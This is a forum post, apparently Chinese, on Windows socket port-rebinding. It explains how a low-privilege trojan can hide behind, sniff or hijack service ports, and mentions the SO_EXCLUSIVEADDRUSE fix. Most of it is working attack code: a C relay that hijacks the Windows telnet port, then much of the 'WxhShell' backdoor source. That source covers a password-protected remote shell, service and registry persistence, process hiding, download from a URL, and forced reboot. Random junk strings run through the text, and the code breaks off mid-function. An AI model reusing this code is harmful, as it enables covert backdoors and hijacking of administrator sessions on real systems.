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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ir%?J&C+t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [80L|?, *  
3~7X2}qU  
  saddr.sin_family = AF_INET; &nk[gb o\  
|Y6+Y{|\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7LM?<lp]  
_S[@d^cY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CE19V:zp  
%\5d?;   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XUrxnJ4  
~hSr06IY  
  这意味着什么?意味着可以进行如下的攻击: }&Gt&Hm>K  
4ACL|RF)A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )!:}R}q  
n-P)X<\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Bg?f}nu7  
]D@_cxud3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3(De> gs$  
Hvto]~=GQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u!FX 0Ip  
$d]3ek/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #@QZ  
^Gc#D:zU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .]_ (>^6  
y my/`%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 iB  =R  
biy1!r  
  #include Cx.GEY|0  
  #include \zA G#{  
  #include ]chfa  
  #include    +=v6 *%y"V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7$8YBcZ6  
  int main() [ &cCE   
  { 8Z{e/wnVF  
  WORD wVersionRequested; vN`2KCl~3  
  DWORD ret; {s8v0~  
  WSADATA wsaData; %s}c#n)N  
  BOOL val; T) ZO+}  
  SOCKADDR_IN saddr; To_Y 8 G  
  SOCKADDR_IN scaddr; r &<sSE;5  
  int err; sEQAC9M  
  SOCKET s; ){u/v[O9"  
  SOCKET sc; ^W&qTSjh  
  int caddsize; ?Vy% <f$  
  HANDLE mt; k}xXja*  
  DWORD tid;   'G6g yO/K  
  wVersionRequested = MAKEWORD( 2, 2 ); }YiE} +VW|  
  err = WSAStartup( wVersionRequested, &wsaData ); )5NfOvmNB  
  if ( err != 0 ) { C,2k W`[V  
  printf("error!WSAStartup failed!\n"); WInfn f+'  
  return -1; =0Z^q0.  
  } z}'-gv\,  
  saddr.sin_family = AF_INET; 8zDLX,M-  
   kj$Ks2!W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (#uz_/xXa  
=UGyZV:z5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); - '<K_e;  
  saddr.sin_port = htons(23); v}vwk8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fl8~*\;Xu  
  { it Byw1/  
  printf("error!socket failed!\n"); 3`%]3qd}  
  return -1; %25GplMT  
  } fVb~j;  
  val = TRUE; _>b=f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FX"j8i/N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ol%KXq[  
  { 8%eWB$<X  
  printf("error!setsockopt failed!\n"); zWN<"[agc  
  return -1; AQx:}PO  
  } ><t4 f(d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "s$$M\)T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QD2;JI2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 })?t:zX#*  
fJiY~mQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VLdQXNg9W"  
  { YadG05PDe  
  ret=GetLastError(); t<F*ODn  
  printf("error!bind failed!\n"); d[0 R#2y=  
  return -1; ;hz;|\ko5  
  } ?M<q95pL  
  listen(s,2); (uW$ch@2K  
  while(1) zs=[C+Z\  
  { -Lo3@:2i  
  caddsize = sizeof(scaddr); IqA'Vz,lL  
  //接受连接请求 O`M 6 =\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IonphTcU!  
  if(sc!=INVALID_SOCKET) o_i N(K  
  { w \U?64  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m@,u&9K  
  if(mt==NULL) 4#^E$N:  
  { Bu]PNKIi  
  printf("Thread Creat Failed!\n"); q6]T;)U&  
  break; !l(O$T9 T  
  } e|-%-juI  
  } aVE/qXB  
  CloseHandle(mt); D\4pLm"!v  
  } K Y=$RO  
  closesocket(s); es6]c%o:t^  
  WSACleanup(); Jyz*W!kI  
  return 0; S/2lK*F  
  }   =$w QA  
  DWORD WINAPI ClientThread(LPVOID lpParam) .7<6 zG6J  
  { ,6EFJVu \  
  SOCKET ss = (SOCKET)lpParam; znkc@8_4  
  SOCKET sc; Hz >_tA"^T  
  unsigned char buf[4096]; YXlaE=9bn  
  SOCKADDR_IN saddr; EK%J%NY  
  long num; :'$V7LZ5  
  DWORD val; CZzgPId%x  
  DWORD ret; HOr.(gL!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '}N4SrU$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d%~OEq1i"  
  saddr.sin_family = AF_INET; j9 d^8)O,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :#zVF[Y(2  
  saddr.sin_port = htons(23); 0hpU9w}12  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #trb4c{{5  
  { d1>L&3HKx  
  printf("error!socket failed!\n"); }v`Z. ?|Z  
  return -1; |I2~@RfpO:  
  } 3-T"[tCe  
  val = 100; *v:o`{vM[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1]wo    
  { ($X2SIZh  
  ret = GetLastError(); ?~9o2[  
  return -1; xFj<KvV[  
  } zL Sha\X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S^:7V[=EgI  
  { cR6Rb[9 N  
  ret = GetLastError(); eAK=ylF;  
  return -1; FwpTQix!  
  } ] ]lN[J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u|sdQ  
  { 9!,f4&G`  
  printf("error!socket connect failed!\n"); YfUo=ku  
  closesocket(sc); {wp tOZ  
  closesocket(ss); ~93#L_V_O  
  return -1; A(1WQUu j  
  } \y0]BH  
  while(1) We@wN:  
  { *EF`s~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <y<   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vxk~( 3]<)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V5!mV_EoR@  
  num = recv(ss,buf,4096,0); mc|8t0+1`  
  if(num>0) DoFF<LXBt  
  send(sc,buf,num,0); 2SXy)m !  
  else if(num==0) gCZm7dgo  
  break; 9)S,c =z83  
  num = recv(sc,buf,4096,0); PcEE@W9  
  if(num>0) X8 x:/]/0  
  send(ss,buf,num,0); rds0EZ4W  
  else if(num==0) e[g.&*!  
  break; [W8?ww%qT  
  } t|v_[Za}Z  
  closesocket(ss); >_u5"&q  
  closesocket(sc); R[!%d6jDE  
  return 0 ; d$PQb9Q+f  
  } Vb/XT{T;b  
t}2M8ue(&  
f"d4HZD^  
========================================================== g*$yUt  
nT%<!/}!  
下边附上一个代码,,WXhSHELL `m\l#r 2C  
+5ue) `  
========================================================== ZWy,NN1  
@ iaz_;  
#include "stdafx.h" FfibR\dhY  
Z]k+dJ[-  
#include <stdio.h> F5YHc$3^  
#include <string.h> ? W2W y\  
#include <windows.h> E )%r}4u>  
#include <winsock2.h> giu8EjzK  
#include <winsvc.h> p&cJo<]=LE  
#include <urlmon.h> G-G\l?R(  
0 rilg  
#pragma comment (lib, "Ws2_32.lib") m*\XH DB  
#pragma comment (lib, "urlmon.lib") rtk1 8U-  
LO;Z3Q>#0  
#define MAX_USER   100 // 最大客户端连接数 V1\x.0Fs  
#define BUF_SOCK   200 // sock buffer hG>3y\!#  
#define KEY_BUFF   255 // 输入 buffer L`0}wR?+  
Jk=d5B  
#define REBOOT     0   // 重启 m| k:wuzqK  
#define SHUTDOWN   1   // 关机 b`X"yg+  
m; m4/z3U  
#define DEF_PORT   5000 // 监听端口 `I)ftj%  
6l?\iE  
#define REG_LEN     16   // 注册表键长度 Czt>?8x`  
#define SVC_LEN     80   // NT服务名长度 etLA F  
l@nG?l #  
// 从dll定义API h2fTG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t 4tXLI;'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pk2}]jx"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "T'?Ah6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zFGZ;?i  
parc\]M  
// wxhshell配置信息 ]WP[hF  
struct WSCFG { eWwI@ASaA  
  int ws_port;         // 监听端口 4.0JgX  
  char ws_passstr[REG_LEN]; // 口令 O)WduhlGQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no }!0nb)kL  
  char ws_regname[REG_LEN]; // 注册表键名 )a'c_ 2[  
  char ws_svcname[REG_LEN]; // 服务名 vW:XM0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =#ls<Zo:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iv]*HE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _'47yq^O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uq}-<q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^9PB+mz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 = ;"$t_t  
M,nLPHgK  
}; d %Z+.O  
6 su^yt  
// default Wxhshell configuration V=|X=:fuih  
struct WSCFG wscfg={DEF_PORT, WSPlM"h  
    "xuhuanlingzhe", zIjUfgO/M  
    1, =7WE   
    "Wxhshell", xX]92Q  
    "Wxhshell",  'WW['  
            "WxhShell Service", nQW`X=Ku  
    "Wrsky Windows CmdShell Service", U~e^  
    "Please Input Your Password: ", < BNCo5*  
  1, 7>Oa, \  
  "http://www.wrsky.com/wxhshell.exe", q:D!@+U  
  "Wxhshell.exe" ve|`I=?2  
    }; 9 O/l{  
+o\s |G|l  
// 消息定义模块  Py)'%e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^YLpZoo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =<M7t*!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5Se S^kJC  
char *msg_ws_ext="\n\rExit."; :RnFRAcr  
char *msg_ws_end="\n\rQuit."; E'g2<k  
char *msg_ws_boot="\n\rReboot..."; 75pz' Cb  
char *msg_ws_poff="\n\rShutdown..."; 8VwByk8  
char *msg_ws_down="\n\rSave to "; > CPJp!u  
= yH#Iil  
char *msg_ws_err="\n\rErr!"; nPj+mg  
char *msg_ws_ok="\n\rOK!"; Gu3'<hTlxd  
+I?T|Iin  
char ExeFile[MAX_PATH]; lilKYrUmG  
int nUser = 0; cQaEh1n  
HANDLE handles[MAX_USER]; W*xz 0  
int OsIsNt; Q7]VB p4  
B(GcPDj(K  
SERVICE_STATUS       serviceStatus; @42!\1YT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qhd~4  
 'S f  
// 函数声明 q1nGj  
int Install(void); 3eV(2  
int Uninstall(void); J!QzF)$4J  
int DownloadFile(char *sURL, SOCKET wsh); }xl @:Qo  
int Boot(int flag); }@pe `AF^  
void HideProc(void); 'y#kRC=G:  
int GetOsVer(void); uW&P1 'X  
int Wxhshell(SOCKET wsl); x0])&':!  
void TalkWithClient(void *cs); Sdc;jK 9d!  
int CmdShell(SOCKET sock); UN&b]vg  
int StartFromService(void); $ V"~\h8  
int StartWxhshell(LPSTR lpCmdLine); VY'#>k} }  
N~ -N Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2'"$Y'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); edPnC {?s  
Riq5Au?*)  
// 数据结构和表定义 ~>@Dn40  
SERVICE_TABLE_ENTRY DispatchTable[] = ?o h3t  
{ 1rV?^5  
{wscfg.ws_svcname, NTServiceMain}, 46'EZ@#s  
{NULL, NULL} ]?L?q2>&  
}; vm+EzmO,!  
zxCxGT\;  
// 自我安装 A+j~oR  
int Install(void) Vkex&?>v$  
{ #(@dN+  
  char svExeFile[MAX_PATH]; :L9\`&}FS  
  HKEY key; S<Q6b_D  
  strcpy(svExeFile,ExeFile); !+cRtCaA::  
]"^GRFK5  
// 如果是win9x系统,修改注册表设为自启动 ]?U:8%  
if(!OsIsNt) { |B4dFI?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `3r*Ae  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LX j Tqp'  
  RegCloseKey(key); B$Jn|J"/6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }rVnuRq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +v&+8S`+  
  RegCloseKey(key); SDV} bN  
  return 0; Arz> P@EQ  
    } 3Nw9o6`U  
  } A]B D2   
} W"|89\p}  
else { D?]aYCT  
A1\;6W:  
// 如果是NT以上系统,安装为系统服务 Y&k'4Y%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \VPU)  
if (schSCManager!=0) =Ze~6vS,  
{ ~9]tt\jN*Y  
  SC_HANDLE schService = CreateService hW>@jT"t1C  
  ( t,R5FoV  
  schSCManager, a&ZH  
  wscfg.ws_svcname, bQ0m=BzF  
  wscfg.ws_svcdisp, (a`z:dz}  
  SERVICE_ALL_ACCESS, n?aogdK$V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2hf]XV\  
  SERVICE_AUTO_START, `-Gs*#(/  
  SERVICE_ERROR_NORMAL, ImklM7A  
  svExeFile, ?mRU9VY  
  NULL, +t/ VF(!  
  NULL, L3X>v3CZ5  
  NULL, MsX`TOyO!  
  NULL, \8Fe56  
  NULL !=cW+=1  
  ); } RG  
  if (schService!=0) |,t#Au}61  
  { s qac>v  
  CloseServiceHandle(schService); b)$<aFl  
  CloseServiceHandle(schSCManager); `6 lc]r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _l}&|:  
  strcat(svExeFile,wscfg.ws_svcname); 2}I1z_dq~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vYmRW-1Zxq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wC<!,tB(8  
  RegCloseKey(key); A#2 Fd7&  
  return 0; K-k;`s#  
    } gGe `w  
  } \|DcWH1  
  CloseServiceHandle(schSCManager); hXbb+j  
} 98Pt&C?-B  
} }#'O b  
cRT@Cu  
return 1; h3>/..l  
} '`\\O:@C`  
%{&yXi:mS  
// 自我卸载 GvF~h0wMt  
int Uninstall(void) J03yFT,dF  
{ bb+-R_3Kd  
  HKEY key; [=7|LH jU  
5RI"g f  
if(!OsIsNt) { 2m[z4V@`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b!5W!vcK  
  RegDeleteValue(key,wscfg.ws_regname); vUvIZa  
  RegCloseKey(key); :=T+sT~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )g9Zw_3  
  RegDeleteValue(key,wscfg.ws_regname); `kVy1WiY  
  RegCloseKey(key); k[gO>UGB;  
  return 0; dilRL,  
  } m:)v>vu  
} yWsN G;>  
} k^S=i_ U  
else { ujmO'blO  
+i4S^B/8i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kDS4 t?Ig  
if (schSCManager!=0) $cSrT)u :  
{ 9`$fU)K[Pl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b Zn:q[7  
  if (schService!=0) uqXvN'Jr  
  { jL6u#0  
  if(DeleteService(schService)!=0) { 0.~QA+BD:S  
  CloseServiceHandle(schService); o(u&n3Q'  
  CloseServiceHandle(schSCManager); 4=%Uv^M  
  return 0; (UA a  
  } m3+MRy 5  
  CloseServiceHandle(schService); ~kD/dXt  
  } /![S 3Ol  
  CloseServiceHandle(schSCManager); %kxq"=3  
} p'0jdb :S  
} M-e!F+d{od  
G{pfyfF  
return 1; N)RyRR.x1.  
} 4askQV &hj  
hJ (Q^Z  
// 从指定url下载文件 S1E =E5  
int DownloadFile(char *sURL, SOCKET wsh) lQ<2Vw#Yl  
{ _[<R<&jG  
  HRESULT hr; |h\e(_G \  
char seps[]= "/"; 'nz;|6uC  
char *token; m$ )yd~  
char *file; o+4/L)h  
char myURL[MAX_PATH]; r/$+'~apTk  
char myFILE[MAX_PATH]; [2pp)wq  
O#7ONQfBO  
strcpy(myURL,sURL); zH0%; o}  
  token=strtok(myURL,seps); & Gp@,t  
  while(token!=NULL) #v0"hFOH,  
  { GpMKOjVm|  
    file=token; gPSUxE `O.  
  token=strtok(NULL,seps); I L 'i7p  
  } %0fF_OU  
6}='/d-[  
GetCurrentDirectory(MAX_PATH,myFILE); HJhPd#xCW  
strcat(myFILE, "\\"); F[<EXLQ  
strcat(myFILE, file); iS&~oj_-%  
  send(wsh,myFILE,strlen(myFILE),0); 0#pjfc `:  
send(wsh,"...",3,0); MqGF~h|+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q&] }`Rp=  
  if(hr==S_OK) r(y1^S9!8  
return 0; L>5VnzSI  
else veFl0ILd  
return 1; ! E` Tt[  
PVP,2Yq!  
} %jdV8D#Q  
1sl^+)z8  
// 系统电源模块 ]W7(}~m  
int Boot(int flag) S~d_SU~>`  
{ $/90('D  
  HANDLE hToken; (JH LWA H  
  TOKEN_PRIVILEGES tkp; c9-$t d&  
j/4N  
  if(OsIsNt) { fu?5gzT+b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rp4EB:*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /%EKq+ZP  
    tkp.PrivilegeCount = 1; {Z 3t0F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0,)B~|+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |:$D[=  
if(flag==REBOOT) { CP_ ?DyWU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^"7tfo8  
  return 0; %lNv?sWb  
} `2c>M\c4U  
else { ePdM9%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &sR=N60n  
  return 0; -fw0bL%0  
} Xt~`EN  
  } aDFu!PLB{)  
  else { oEbgyT gB  
if(flag==REBOOT) { #u~s,F$De  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ug_5INK  
  return 0; MzT#1~  
} 8:;_MBt  
else { ]y3V ^W#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I'2:>44>I6  
  return 0; N(>a-a  
} 9PjL 4A  
} 2|@@xF  
?z%@;&  
return 1; LuY`mi  
} 0h-holUf}~  
^ AxU  
// win9x进程隐藏模块 S>O fUrt  
void HideProc(void) :'?%%P  
{ D.Rk{0se8  
3#huC=zbf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x?Z)q4  
  if ( hKernel != NULL ) # eqt{  
  { Ou</{l/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y ,isK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h=SQ]nV{  
    FreeLibrary(hKernel); {k] 2h4 &h  
  } 2K<rK(  
}uo5rB5D  
return; (rO_ Vfaa  
} Uov%12  
IGv_s+O-*  
// 获取操作系统版本 (-*NRY3*  
int GetOsVer(void) )hm U/E@  
{ `bu3S }m7  
  OSVERSIONINFO winfo; )#k*K9[@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WRU/^g3O@'  
  GetVersionEx(&winfo); L0uvRge  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <q hNX$t  
  return 1; j)ZvlRi,  
  else ;'l Hw]}O*  
  return 0; B04%4N.g"X  
} L,!?'.*/]  
&[,g `S0  
// 客户端句柄模块 H|;6K`O_  
int Wxhshell(SOCKET wsl) `GOxFDB.  
{ ;KJJK#j  
  SOCKET wsh; 5r"BavA  
  struct sockaddr_in client; {dvrj<?  
  DWORD myID; }MP2)6  
W7.O(s,32  
  while(nUser<MAX_USER) )bRe"jxn7  
{ !3U1HS-i62  
  int nSize=sizeof(client); w,TyV%b[_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d,[.=Jqv[  
  if(wsh==INVALID_SOCKET) return 1; b9ysxuUdS  
6-va;G9Fc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6i[\?7O'0  
if(handles[nUser]==0) u^a\02aV[  
  closesocket(wsh); 3U<\y6/  
else uA=6 HpDB  
  nUser++; PbxuD*LQ.  
  } :p@H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IIeEe7%#  
WI9'$hB\  
  return 0; >0)E\_ u  
} Ug^C}".&  
hY+3PNiI@  
// 关闭 socket )|,-l^lC  
void CloseIt(SOCKET wsh) *cCr0\Z`  
{ X@Eq5s  
closesocket(wsh); hKtOh  
nUser--; 8=gr F  
ExitThread(0); ^|xj.  
} W~p^AHco`  
ASY uZ  
// 客户端请求句柄 ^.Q{Aqu#.H  
void TalkWithClient(void *cs) eHK}U+"\  
{ &<@ { d  
,]Yjo>`tW  
  SOCKET wsh=(SOCKET)cs; ;hF>iw  
  char pwd[SVC_LEN]; /' L20aN2  
  char cmd[KEY_BUFF]; U#G uB&V  
char chr[1]; U@yrqT@;AU  
int i,j; R4!qm0Cd  
RL~|Kr<7J  
  while (nUser < MAX_USER) { Q nZR  
I /3=~;u  
if(wscfg.ws_passstr) { 9;dP7o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #@BM1BpQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %_M B-  
  //ZeroMemory(pwd,KEY_BUFF); ]@l~z0^|[_  
      i=0; 6v GcM3M  
  while(i<SVC_LEN) { tnqW!F~  
\s&w0V`Y  
  // 设置超时 C JiMg'K  
  fd_set FdRead; GEA@AD=^f  
  struct timeval TimeOut; IOF~V)8k=  
  FD_ZERO(&FdRead); `@ qSDW!b  
  FD_SET(wsh,&FdRead); R.A}tV=j#  
  TimeOut.tv_sec=8; W~W^$A  
  TimeOut.tv_usec=0; @U;-5KYYi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); la)f\Nk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fouy??  
QC4_\V>[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] 5P{*  
  pwd=chr[0]; oLruYSaD  
  if(chr[0]==0xd || chr[0]==0xa) { ;}f%bE  
  pwd=0; BOL_kp"   
  break; b_V)]>v+  
  } <n }=zu  
  i++; -# <,i '  
    } v8*ZwF  
q,u >`]}  
  // 如果是非法用户,关闭 socket U{>!`RN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ }B"u;:SU  
} DLS-WL  
H _3gVrP_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6ap,XFRMh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <@*mFq0,  
xR#hU;E}  
while(1) { Crpk q/M  
5R"b1  
  ZeroMemory(cmd,KEY_BUFF); u8o7J(aQsR  
TlBLG.-^  
      // 自动支持客户端 telnet标准   t"0~2R6i  
  j=0; l*X5<b9  
  while(j<KEY_BUFF) { }=f}@JlFB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =PZs'K  
  cmd[j]=chr[0]; <wE2ly&x  
  if(chr[0]==0xa || chr[0]==0xd) { RtqW!ZZ:H  
  cmd[j]=0; zLxWyPM0;  
  break; L~mL9[(,  
  } ~MhPzu&B  
  j++; ._FgQ` `PL  
    } ?: meix  
' > \*  
  // 下载文件 Ix *KL=MG  
  if(strstr(cmd,"http://")) { xE6y9"}!h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fa/i./V2  
  if(DownloadFile(cmd,wsh)) p:4vjh=1h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tu6he8Q-  
  else %pwm34  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qQ1m5_OD`z  
  } *Lh0E/5  
  else { a:;*"p[R  
!Uj !Oy  
    switch(cmd[0]) { )>[(HxvfJU  
  r{<u\>6X>P  
  // 帮助 s-C.+9  
  case '?': { N %?o-IY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P' J_:\  
    break; Vy/g;ZPU1  
  } d&ZwVF!  
  // 安装 2i>xJMW  
  case 'i': { !tb RqW6v  
    if(Install()) Ha/\&Z(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n!N;WL3k  
    else >`NM?KP s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4u(}eE f7  
    break; 3] @<.  
    } +}Q4 g]M8  
  // 卸载 z$<6;2  
  case 'r': { &U,f~KJ  
    if(Uninstall()) vc!S{4bN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ag+ML1#)  
    else @qe>ph[UA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B!N807  
    break; L;f=\q"g  
    } T,IV)aq  
  // 显示 wxhshell 所在路径 3jn@ [ m  
  case 'p': { T4#knSIlh  
    char svExeFile[MAX_PATH]; CX:^]wY  
    strcpy(svExeFile,"\n\r"); .*f;v4!  
      strcat(svExeFile,ExeFile); ~XxD[T5  
        send(wsh,svExeFile,strlen(svExeFile),0); pts}?   
    break; k}O|4*.BT  
    } ,,Db:4qfjD  
  // 重启 -'0AV,{Z  
  case 'b': { feopO j6~+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Fw\iy1o  
    if(Boot(REBOOT)) C>u 3n^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I/> IB   
    else { Q*4q3B&  
    closesocket(wsh); c%U$qao=c+  
    ExitThread(0); #wd \&  
    } j(BS;J$i  
    break; X@Bpjg  
    } Gzfb|9 ,q  
  // 关机 FKx9$B  
